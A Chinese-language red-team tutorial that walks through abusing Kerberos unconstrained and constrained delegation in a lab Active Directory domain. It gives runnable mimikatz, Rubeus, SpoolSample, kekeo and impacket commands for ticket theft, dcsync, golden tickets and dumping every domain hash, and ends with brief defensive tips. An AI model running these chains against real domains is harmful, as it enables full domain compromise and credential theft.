域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动
委派主要分为非约束委派(Unconstrained delegation)
和约束委派(Constrained delegation)
两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation
)不过不是本文的重点,下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用
userAccountControl
属性会包含TRUSTED_FOR_DELEGATION
userAccountControl
属性包含TRUSTED_TO_AUTH_FOR_DELEGATION
,且msDS-AllowedToDelegateTo
属性会包含被约束的服务发现域中委派的用户或计算机一般使用的手段是通过LDAP
协议(全称:LightweightDirectory Access Protocol
)然后通过userAccountControl
属性筛选出符合的用户或计算机,我们可以通过ADSI
(全称:ActiveDirectory Service Interfaces Editor
)来编辑和修改LDAP,adsiedit.msc
可以打开ADSI
编辑器,打开之后我们找到一个设置了非约束委派的用户,可以看到userAccountControl
属性包含了TRUSTED_FOR_DELEGATION
然后我们再看一下约束委派的用户,同样它的userAccountControl
属性包含了TRUSTED_TO_AUTH_FOR_DELEGATION
,但是它比非约束委派的用户多了一个msDS-AllowedToDelegateTo
属性,里面包含了允许委派的服务
下面介绍三种比较常见方法用于查找域中委派的用户和计算机
kali上自带,适合在域外查询
这个参数过多就不一一列举了,需要查阅的ldapsearch -h
即可
查找域中配置非约束委派的用户:
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
过滤条件
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))
查找域中配置非约束委派的主机:
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
注:域控主机账户默认开启非约束委派
过滤条件
(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))
注:更多LDAP的过滤语法请参考微软的手册:地址
注:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)
时为用户,samAccountType=805306369 (0x30000001)
时为主机
使用参数
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
查找域中配置非约束委派的用户:
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非约束委派的主机:
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非约束委派用户
Get-NetUser -Unconstrained -Domain qiyou.com |select name
查找域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain qiyou.com
查询域中配置非约束委派的主机(另外一个版本的powerview):
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize
查找域中配置约束委派用户
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
过滤条件
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))
查找域中配置约束委派的主机:
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
过滤条件
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))
查找域中配置约束委派用户
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域中配置约束委派的主机:
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
注:Powerview有两个版本,一个在dev分支:地址,一个在master分支:地址
查找域中配置约束委派用户
Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
查找域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation
(非约束委派),则当user
访问service1
时会将user的TGT
发送给service1
并保存在内存中以备下次重用,然后service1
就可以利用这张TGT
以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
非约束委派的请求过程(图来自微软手册):
上图的Kerberos请求描述分为如下步骤:
1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。
2. KDC在`KRB_AS_REP`消息中返回`TGT1`。
3. 用户根据步骤2中的TGT1请求转发TGT2。
4. KDC在KRB_TGS_REP消息中为user返回TGT2。
5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)
6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。
7. 用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey
8. service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。
9. KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。
10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。
11. service2响应service1的请求。
12. 有了这个响应,service1就可以在步骤7中响应用户的请求。
13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。
14. KDC返回步骤13中请求的ST
15-16. service1以用户的名义来请求其它服务
注:TGT1(forwardable TGT)
用于访问Service1
,TGT2(forwarded TGT)
用于访问Service2
操作环境:
qiyou.com
WIN-QFPHJSM1L7G
,IP:192.168.141.145
,用户:administrator
DM2008
,IP:192.168.141.183
,用户:qiyou
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认没有,如下图所示:
普通用户:
注册了服务的用户
把普通账号test注册为服务账号:
setspn.exe -U -A test/test test
言归正传,现在我们将qiyou这个用户设置为非约束委派
然后我们以administrator
的身份通过WinRM
服务远程连接DM2008
注:常见的连接方式还有:MSSQL和IIS,不过我们这里为了方便演示就直接用WinRM了
这个时候域管理员的TGT已经缓存在DM2008
了,我们用mimikatz即可dump出来
privilege::debug
sekurlsa::tickets /export
可以看到[0;1622d8][email protected]
即为域管理administrator
的TGT
此时我们访问域控是被拒绝的
然后通过ptt将TGT注入到当前会话中
kerberos::ptt [0;1622d8][email protected]
成功访问
注意:访问域控要用主机名或者是FQDN
,使用IP还是会提示拒绝访问
如果想执行命令的话,我们可以用WinRM
服务来远程连接域控服务器
Enter-PSSession -ComputerName WIN-QFPHJSM1L7G
-ComputerName
指定主机名-Port
指定WinRM
端口,默认是5985
注:Windows Server 2012
及以上默认是开启WinRM服务的,Windows Server 2008 R2
需要winrm quickconfig -q
来启动WinRM
服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的。
如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。
利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_
,enigma0x3
和harmj0y
在DerbyCon 2018
提出的
演讲PPT:地址
利用原理:利用Windows打印系统远程协议(MS-RPRN)
中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法强制任何运行了Spooler
服务的计算机以通过Kerberos
或NTLM
对攻击者选择的目标进行身份验证。
请求过程如下:
图来源于:http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
注:Print Spooler
服务默认是自动运行的
注:我在windows server 2008
上操作没有成功,不知道是我的问题还是有版本限制,按照上面的原理来说应该是没有版本限制的,不过把域环境重新配置了一遍,域控换成了windows server 2012R2
就成功了
操作环境:
test.local
Windows server 2012R2
主机名:DM2012
,ip:192.168.141.134
windows 10
,主机名:win10
,ip:192.168.141.165
这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限
我们给win10这个主机账户开启非约束委派
注:是主机账户开启非约束委派,而不是服务用户
tifkin_
在他的github上开源了POC:https://github.com/leechristensen/SpoolSample
向DM2012的Spooler
服务发送请求,强制其访问win10进行身份验证
SpoolSample.exe dm2012 win10
我们可以用Rubeus
来监听Event ID
为4624
事件,这样可以第一时间截取到域控的TGT
每隔一秒监听一次来自dm2012
的登陆(需要本地管理员权限)
Rubeus.exe monitor /interval:1 /filteruser:dm2012$
注:Rubeus.exe捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus
可以直接将base64编码的票据直接注入到内存中
Rubeus.exe ptt /ticket:base64
因为之前域内主机win10的安全日志被我搞崩了,所以这里就不演示了
因为我们Rubeus监听TGT用不了,所以我们可以用mimikatz
导出TGT
privilege::debug
sekurlsa::tickets /export
可以发现成功导出来自DM2012$
的TGT
得到TGT之后,我们用ptt将票据注入到当前会话后,可以用dcsync
导出域控中所有用户的hash,然后用krbtgt
用户的hash生成黄金票据
kerberos::ptt [0;862bdd][email protected]
lsadump::dcsync /domain:test.local /all /csv
得到krbtgt
用户的hash之后生成一张administrator的黄金票据
kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt
成功以administrator的身份访问域控
执行命令可以用WinRM
服务来远程连接域控
关于Spooler
服务的利用还有CVE-2019-1040
,不过这个是基于资源的约束委派,有兴趣的同学可以去了解一下
由于非约束委派的不安全性,微软在windows server 2003
中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U
,其中S4U
支持两个子协议:Service for User to Self (S4U2Self)
和 Service for User to Proxy (S4U2proxy)
,这两个扩展都允许服务代表用户从KDC请求票证。S4U2self
可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy
可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy
扩展的范围。
S4U2Self
和S4U2proxy
的请求过程(图来自微软手册):
注:其中步骤1-4代表S4U2Self
请求的过程,步骤5-10代表S4U2proxy
的请求过程
上述请求的文字描述:
1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。
2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。
4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。
6. service1以用户的名义向KDC请求用户访问service2的ST2
7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。
8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。
9. service2响应步骤8的请求。
10. service1响应用户对步骤5中的请求。
操作环境:
qiyou.com
windows server 2012R2
,主机名:DM2012
,IP:192.168.141.134
,用户:qiyou
DM08
DM08
是域内的另外一台主机,下面我们设置了服务用户qiyou
对DM08
的cifs
服务的委派
概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash
,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
tgt::ask /user:qiyou /domain:qiyou.com /password:password /ticket:test.kirbi
参数:
/user
: 服务用户的用户名
/password
: 服务用户的明文密码
/domain
: 所在域名
/ticket
: 指定票据名称,不过这个参数没有生效,可以忽略
得到服务用户TGT:[email protected][email protected]
然后我们可以使用这张TGT通过伪造s4u请求以administrator
用户身份请求访问dm08 CIFS
的ST
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dm08.qiyou.com
S4U2Self
获取到的ST1以及S4U2Proxy
获取到的dm08 CIFS服务的ST2会保存在当前目录下
然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt [email protected]@[email protected]
成功访问到dm08的cifs服务
上面是知道服务用户明文的情况下,kekeo同样也支持使用NTLM Hash
在请求服务用户的TGT那步直接把/password
改成/NTLM
即可
已知我们服务账号qiyou
的NTLM hash
是b4f27a13d0f78d5ad83750095ef2d8ec
tgt::ask /user:qiyou /domain:qiyou.com /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dm08.qiyou.com
kerberos::ptt [email protected]@[email protected]
如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz
直接从内存中把服务用户的TGT dump出来
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注:sekurlsa::tickets
是列出和导出所有会话的Kerberos
票据,sekurlsa::tickets
和kerberos::list
不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export
需要管理员权限的原因。并且sekurlsa::tickets
的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
既然服务用户的TGT导出来了,我们就跳过tgt::ask
请求TGT这步,直接tgs::s4u
tgs::s4u /tgt:[0;196b1e4][email protected] /user:[email protected] /service:cifs/dm08.qiyou.com
kerberos::ptt [email protected]@[email protected]
我们来抓包看一下整个委派请求的过程
可以看到有6个请求响应的过程,我们可以分为3步来分析
qiyou
首先向KDC请求一张TGT,AS-REP
请求里返回TGT,这张TGT代表的是qiyou这个用户2 然后用这张TGT
发送S4U2self
请求,以Administrator
的名义向TGS
申请了一张访问自身服务的票据,我们这里就称为ST1吧
ST1
之后,然后会带上ST1再次向KDC
发起SU42Proxy
请求,以administrator
的名义请求一张访问DM08 cifs
服务的票据,我们这里就称为ST2
吧上述数据包请求过程中:第一步对应的是我们kekeo的tgt::ask
;2-3是对应tgs::s4u
,其中ST1和ST2分别对应的就是kekeo生成的[email protected]@[email protected]
和[email protected]@[email protected]
,不过我们最终用到是ST2,ST1可以看作一个中间产物。
得到ST2之后我们就可以回到我们的攻击机上进行ptt就能得到DM08 cifs
的访问权限了
操作环境:
qiyou.com
windows server 2008R2
,主机名:WIN-QFPHJSM1L7G
,IP:192.168.141.145
,用户:administrator
windows server 2012R2
,主机名:DM2012
,IP:192.168.141.134
,用户:qiyou
我们都知道TGT的生成是由krbtgt
用户加密和签名的,如果我们能委派域上的用户去访问TGS
,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt
的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。
注:TGS
默认的spn是krbtgt/domain name
,我们操作环境是krbtgt/QIYOU.COM
krbtgt
默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。
我们可以使用powershell来添加
Import-Module ActiveDirectory
$user = Get-ADUser qiyou
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/qiyou.com") }
注:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll
GUI界面查看一下,成功添加
我们可以用impacket
系列的getST
向KDC请求administrator的TGT
getst.exe -dc-ip 192.168.141.145 -spn krbtgt/qiyou.com -impersonate Administrator qiyou.com/qiyou:password
参数:
-impersonate:表示伪造用户
-spn:表示我们要委派的服务的spn,这里是TGS
-dc-ip:域控ip
执行之后会在当前目录生成一个缓存文件Administrator.ccache
然后用mimikatz进行ptc
(pass the cache),将缓存注入当前会话中
klist查看缓存的票据
访问域控
执行命令的话我们可以用impacket
系列或者powershell
都可以
wmiexec
set KRB5CCNAME=Administrator.ccache
wmiexec.exe -no-pass -k [email protected] -dc-ip 192.168.141.145
导出域控上所有用户以及主机的hash
set KRB5CCNAME=Administrator.ccache
secretsdump.exe -no-pass -k WIN-QFPHJSM1L7G.qiyou.com
请求过程和上面的cifs是一样的只不过是把cifs换krbtgt而已,所以这里就不抓包演示了
如图
Protected Users
组,适用于Windows Server 2016
,Windows Server 2012 R2
、 Windows Server 2012
关于Protected Users
组成员的特点请参考微软手册,这里就不多赘述了
Kerberoasting
等手段对口令进行暴力破解http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/